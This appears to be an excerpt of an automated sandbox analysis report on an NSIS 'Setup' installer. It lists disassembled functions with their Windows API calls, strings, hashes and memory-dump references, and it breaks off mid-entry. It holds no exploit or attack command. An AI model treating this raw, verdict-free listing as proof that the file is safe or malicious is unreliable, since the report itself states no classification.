API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 6589979ff9a501fc495b169141efcf5f2177152b764b6bcc2381f6d8f6a68418
Instruction ID: 82e0f664371878e3f8136284ca2467dd10f3df84af4d3fe89a4ee6e4629e8810
Opcode Fuzzy Hash: 6589979ff9a501fc495b169141efcf5f2177152b764b6bcc2381f6d8f6a68418
Instruction Fuzzy Hash: 91A181B1A00208ABDB11AFA1C885AAF7BB8EF44314F10407FFA05B72D1D77C9A419F59

Function 00406559 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 162filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004E00C8), ref: 00406578
lstrcatW.KERNEL32(00465470,\*.*), ref: 004065C8
lstrcatW.KERNEL32(?,004082C8), ref: 004065E8
lstrlenW.KERNEL32(?), ref: 004065EB
FindFirstFileW.KERNEL32(00465470,?), ref: 004065FF
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?), ref: 004066B5
FindClose.KERNEL32(00000000), ref: 004066C6

Strings

\*.*, xrefs: 004065C2
pTF, xrefs: 004065AB

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*$pTF
API String ID: 2035342205-2155356189
Opcode ID: 4d656ded0a8bf8375e6a0408538251f1fecec283f47e8baec3b74e355d12da64
Instruction ID: cb8e43480c0494b88bcdaab5263094abc6d8a088fa6e5b396f43e0b3f7cdc2f6
Opcode Fuzzy Hash: 4d656ded0a8bf8375e6a0408538251f1fecec283f47e8baec3b74e355d12da64
Instruction Fuzzy Hash: ED51B170800618AACF20AB35CD45A6B7768EF40358F12893BB857761D2DB3D8DA1CB5D

Function 00402218 Relevance: 1.6, APIs: 1, Instructions: 120comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00408AEC,00000000,00000001,00408ACC,?,00000000), ref: 00402272

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b89fa3b0e8c371e7ca3b560dfc137a163ff1d9034affe8bcb8ea131d3c401b1a
Instruction ID: b8756f995b5f19bf65138570f0328ac05a5921d347238761232d12e19ef7feba
Opcode Fuzzy Hash: b89fa3b0e8c371e7ca3b560dfc137a163ff1d9034affe8bcb8ea131d3c401b1a
Instruction Fuzzy Hash: 2C414679A00204AFCB04EFA4C988E9E7B79EF48314F20456AF915EB3E1CB79D941CB54

Function 004029F1 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 00402A01

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2942623f6c0277285390027b9d18840a489366ce0a7cc68cdc812ca0f05454fe
Instruction ID: 400e5e0b203cfa4d99e013a63ed7a258bcbaee981441f5d34274aa4bdee23deb
Opcode Fuzzy Hash: 2942623f6c0277285390027b9d18840a489366ce0a7cc68cdc812ca0f05454fe
Instruction Fuzzy Hash: 6AE065716042109BE710E778AD89AAF226CDF41328B100677E116F50D1E67889819B1D

Function 00406E34 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db9e2985b9a95f07b4948d92816868b6eb93f1de1133e87cfb4c0131ea940ae
Instruction ID: 195f9c0d2d2971c704648993b79f5dd0ea752a0e03b98457dcbfca0f5118a9d4
Opcode Fuzzy Hash: 3db9e2985b9a95f07b4948d92816868b6eb93f1de1133e87cfb4c0131ea940ae
Instruction Fuzzy Hash: D2E16D71D04214DFCF18CF58D880AADB7F1AF45305F1981ABE856AF286D738AA50CF55

Function 0040680A Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c75ba6eb7b1da5beda44bb12a349235cc55abe98431d1e410fa8ae9787adfe
Instruction ID: 00c1500383e690738851ed547f8828f465c8dec40552374253bbad03b7333b94
Opcode Fuzzy Hash: 06c75ba6eb7b1da5beda44bb12a349235cc55abe98431d1e410fa8ae9787adfe
Instruction Fuzzy Hash: 59C15C72A012698FCF18DF68C9805ED7BA2FF89314B16812AEC56A7384D734EC55CF84

Function 00404F45 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404F81
ShowWindow.USER32(?), ref: 00404F9E
DestroyWindow.USER32 ref: 00404FB2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404FCE
GetDlgItem.USER32(?,?), ref: 00404FEF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405003
IsWindowEnabled.USER32(00000000), ref: 0040500A
GetDlgItem.USER32(?,00000001), ref: 004050B9
GetDlgItem.USER32(?,00000002), ref: 004050C3
SetClassLongW.USER32(?,000000F2,?), ref: 004050DD
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040512E
GetDlgItem.USER32(?,00000003), ref: 004051D4
ShowWindow.USER32(00000000,?), ref: 004051F6
EnableWindow.USER32(?,?), ref: 00405208
EnableWindow.USER32(?,?), ref: 00405223
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405239
EnableMenuItem.USER32(00000000), ref: 00405240
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00405258
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040526B
lstrlenW.KERNEL32(0044FD98,?,0044FD98,004732A0), ref: 00405294
SetWindowTextW.USER32(?,0044FD98), ref: 004052A8
ShowWindow.USER32(?,0000000A), ref: 004053DC

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 7aaa3711757a90e2e8d2d5b12379ccc9e45fddc9e642e06a127254d179e313fb
Instruction ID: 48c820c9c586f8d8a765c04f05b8e06de5329faa08805170889eeb6d15e0b63f
Opcode Fuzzy Hash: 7aaa3711757a90e2e8d2d5b12379ccc9e45fddc9e642e06a127254d179e313fb
Instruction Fuzzy Hash: 1DC19F71500A04EBDB206F61EE89E2B3AA8FB45746F00053EF645B11F1CB799881EF5E

Function 00403C1F Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 212windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00403CD3
GetDlgItem.USER32(?,000003E8), ref: 00403CE7
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00403D04
GetSysColor.USER32(?), ref: 00403D15
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00403D23
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00403D31
lstrlenW.KERNEL32(?), ref: 00403D3C
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00403D49
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00403D58

Part of subcall function 00403B31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00403C8A,?), ref: 00403B48
Part of subcall function 00403B31: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00403C8A,?), ref: 00403B57
Part of subcall function 00403B31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00403C8A,?), ref: 00403B6B

GetDlgItem.USER32(?,0000040A), ref: 00403DB2
SendMessageW.USER32(00000000), ref: 00403DB9
GetDlgItem.USER32(?,000003E8), ref: 00403DE4
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 00403E27
LoadCursorW.USER32(00000000,00007F02), ref: 00403E35
SetCursor.USER32(00000000), ref: 00403E38
ShellExecuteW.SHELL32(0000070B,open,0046B220,00000000,00000000,00000001), ref: 00403E4D
LoadCursorW.USER32(00000000,00007F00), ref: 00403E59
SetCursor.USER32(00000000), ref: 00403E5C
SendMessageW.USER32(00000111,00000001,00000000), ref: 00403E8B
SendMessageW.USER32(00000010,00000000,00000000), ref: 00403E9D

Strings

N, xrefs: 00403DD2
open, xrefs: 00403E45

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: N$open
API String ID: 3928313111-904208323
Opcode ID: eeec9a5106f0c5fb6c06cb270565f78b24ee1f1d5bc0a3e508a16aae0c4c8822
Instruction ID: ed57efd37533f930562fe34da2b72c8113efd27b5b8a5cb1164b605c320215f3
Opcode Fuzzy Hash: eeec9a5106f0c5fb6c06cb270565f78b24ee1f1d5bc0a3e508a16aae0c4c8822
Instruction Fuzzy Hash: A87181B1900609BFDB109F24DD89A6A7F7CFB04306F00813AF605B62E1C7789A51CF99

Function 0040635B Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00463E20,NUL), ref: 0040636B
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,?,?,0040654E,00000000,00000000,00000001,00406721,?,00000000), ref: 0040638A
GetShortPathNameW.KERNEL32(00000000,00463E20,00000400), ref: 00406393

Part of subcall function 00405864: lstrlenA.KERNEL32(00406495,?,00000000,00000000,?,00000000,00406495,00000000,[Rename]), ref: 00405874
Part of subcall function 00405864: lstrlenA.KERNEL32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 004058A6

GetShortPathNameW.KERNEL32(Ne@,00469478,00000400), ref: 004063B4
WideCharToMultiByte.KERNEL32(00000000,00000000,00463E20,000000FF,00464620,00000400,00000000,00000000,?,00000000,?,?,?,0040654E,00000000,00000000), ref: 004063DD
WideCharToMultiByte.KERNEL32(00000000,00000000,00469478,000000FF,00464C70,00000400,00000000,00000000,?,00000000,?,?,?,0040654E,00000000,00000000), ref: 004063F5
wsprintfA.USER32 ref: 0040640F
GetFileSize.KERNEL32(00000000,00000000,00469478,C0000000,00000004,00469478,?), ref: 00406447
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406456
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406472
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 004064A2
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00465070,00000000,-0000000A,004089A0,00000000,[Rename]), ref: 004064F5

Part of subcall function 004058FE: GetFileAttributesW.KERNELBASE(00000003,0040315B,004E80D8,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
Part of subcall function 004058FE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406509
GlobalFree.KERNEL32(00000000), ref: 00406510
CloseHandle.KERNEL32(?), ref: 0040651A

Strings

[Rename], xrefs: 0040648A, 00406499
Ne@, xrefs: 004063B0
>F, xrefs: 00406365
%s=%s, xrefs: 00406405
NUL, xrefs: 00406360
pLF, xrefs: 004063EA

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: >F$%s=%s$NUL$Ne@$[Rename]$pLF
API String ID: 565278875-2487742289
Opcode ID: b4dbeba100c443a2c99ce08ec389315a9b0dbc3ce33a9389b5f019bb092845f7
Instruction ID: ec96de5c0a89ca25b54bc76a1f58c05e631165e395b03bcecce623a0c26120a0
Opcode Fuzzy Hash: b4dbeba100c443a2c99ce08ec389315a9b0dbc3ce33a9389b5f019bb092845f7
Instruction Fuzzy Hash: C2412A32105209BFC6202B61EE48E2F3E5CDF86758B16453EF546F22D1DE3D98158ABE

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,004732A0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 6ff7da4ded68621eb9ecef41b220d021edcb146cdc93fa7e0b1181698ae2407c
Instruction ID: 5d70bd818855421fa823bf0ed1b165e0401977292747d9ede3c4f118d7b178ba
Opcode Fuzzy Hash: 6ff7da4ded68621eb9ecef41b220d021edcb146cdc93fa7e0b1181698ae2407c
Instruction Fuzzy Hash: BB515A71400209AFCF058F95DE459AF7FB9EF44311F04802AF992AA1A0CB38DA55DFA4

Function 004060CA Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 218stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00423176,74DF23A0,00000000), ref: 0040619B
GetSystemDirectoryW.KERNEL32(0046B220,00002004), ref: 0040621D

Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5

Part of subcall function 004060CA: SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040626C
Part of subcall function 004060CA: SHGetPathFromIDListW.SHELL32(?,0046B220), ref: 0040627A
Part of subcall function 004060CA: CoTaskMemFree.OLE32(?), ref: 00406285

GetWindowsDirectoryW.KERNEL32(0046B220,00002004), ref: 00406230
lstrcatW.KERNEL32(0046B220,\Microsoft\Internet Explorer\Quick Launch), ref: 004062AA
lstrlenW.KERNEL32(0046B220,00447D88,?,00000000,00404AAA,00447D88,00000000,00423176,74DF23A0,00000000), ref: 0040630C

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004062A4
Software\Microsoft\Windows\CurrentVersion, xrefs: 004061EB

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrcpynlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3935908587-730719616
Opcode ID: d404f1267a91f84120ed82a5726344723f4104790e5192d29b3fdddb81e5045c
Instruction ID: faf527bbbd80b2f6d96589bc921f5814a8c68153425bf04786751db3c9b8505d
Opcode Fuzzy Hash: d404f1267a91f84120ed82a5726344723f4104790e5192d29b3fdddb81e5045c
Instruction Fuzzy Hash: A2711531900215AADF20AF68CC4467E33B4EB55314F12817FE947BA2E1D73D89A2CB9D

Function 00403952 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040396C
GetSysColor.USER32(00000000), ref: 00403988
SetTextColor.GDI32(?,00000000), ref: 00403994
SetBkMode.GDI32(?,?), ref: 004039A0
GetSysColor.USER32(?), ref: 004039B3
SetBkColor.GDI32(?,?), ref: 004039C3
DeleteObject.GDI32(?), ref: 004039DD
CreateBrushIndirect.GDI32(?), ref: 004039E7

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 6e8c2a3615f2505a185ac55974dadb6ac4ac18c0c35a8d3832bbfc0dda71d657
Instruction ID: fd505c26376d0b004dab163c32b6598f7c3f39bfa23b8c101552dd0b32be6230
Opcode Fuzzy Hash: 6e8c2a3615f2505a185ac55974dadb6ac4ac18c0c35a8d3832bbfc0dda71d657
Instruction Fuzzy Hash: 931166B15007446BC7219F68DE08B5BBFFCAF05715F05892DF886E22A0D774DA48CB54

Function 00402A2F Relevance: 10.6, APIs: 7, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402A83
GlobalAlloc.KERNEL32(00000040,?,00000000,?,00000000), ref: 00402AA0
GlobalFree.KERNEL32(?), ref: 00402AD7
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00402AEB
GlobalFree.KERNEL32(00000000), ref: 00402AF2
CloseHandle.KERNEL32(?), ref: 00402B09
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402B1C

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 2a415ac0b65e7ed1e85d085157a57941f96e69fc1561960092c6122626d45b92
Instruction ID: 9e4a56611826f2756eb4244239c06745681650eb98283bcdfa384ecb69a0f049
Opcode Fuzzy Hash: 2a415ac0b65e7ed1e85d085157a57941f96e69fc1561960092c6122626d45b92
Instruction Fuzzy Hash: 13219832D00114BBCB216FA5DE49E9F7F79DF49724F10423AF925761E1CB7848119BA8

Function 00404A73 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

